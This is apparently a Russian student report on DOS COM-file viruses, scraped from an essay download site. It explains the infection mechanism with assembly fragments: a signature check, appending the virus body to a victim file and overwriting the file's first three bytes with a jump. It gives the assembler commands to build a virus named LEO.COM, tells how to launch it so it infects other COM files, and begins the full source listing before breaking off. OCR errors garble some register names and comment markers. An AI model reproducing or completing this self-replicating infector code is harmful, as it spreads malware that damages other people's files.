Доклад: СОМ-вирусы

.Если при чтении файла ошибок не произошло,

[Проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

[Проверяем сигнатуру
Test_bytik:

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte

;Если сигнатура есть, то ищем другой файл,
.если ее нет - будем заражать

je find_next2

jmp NotJnfected

Затем, в соответствии с предложенной схемой, вирус дописывается
в конец файла-жертвы и устанавливает адрес перехода на самого себя:

[Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h

Останавливаем регистр DS на сегмент кода
push cs
pop ds

[Копируем вирус в файл
mov ah,40h

mov cx.offset VirEnd-offset la
mov dx,bp

sub dx,offset myself-offset la
int 21h

[Записываем в начало файла переход на тело вируса
Write_Jmp:

.Переходим в начало файла
xor сх.сх
xor dx,dx
mov ax,4200h
int 21h

[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3

mov dx, offset jmpvir-offset myself
add dx.bp
int 21h

После того, как вирус закончит свою работу, он восстанавливает
в исходное состояние первые три байта программы (в памяти компью-
тера) и передает управление на начало программы. Далее, при
запуске зараженного файла, управление сначала получает вирус, затем -
исходная программа. Благодаря такой схеме работы рассматриваемый

вирус может спокойно существовать, будучи один раз выпущенным
на волю.

Как запустить вирус? В любом текстовом редакторе создается файл
LEO.ASM, содержащий исходный текст вируса, затем этот файл компи-
лируется и компонуется готовая программа. Например, в системе про-
граммирования Turbo Assembler последние два этапа выполняются та-
кими командами:

tasm.exe leo.asm
tlink leo.obj/t

В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус.
Для проверки работы вируса можно создать отдельный каталог и ско-
пировать в него этот файл, а также несколько других СОМ-файлов.
После запуска LEO.COM вирус внедрится во все остальные СОМ-фай-
лы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус
распространяется только в текущем каталоге. Ниже приводится исход-
ный текст вируса:

.286 .Устанавливаем тип процессора
CheckByte equ OFOh

[Указываем, что регистры CS и DS содержат
;адрес сегмента кода программы
assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно
;закрыть - "code ends"
code segment

Останавливаем смещения в сегменте кода.

Данная строчка обязательна

К-во Просмотров: 610
Бесплатно скачать Доклад: СОМ-вирусы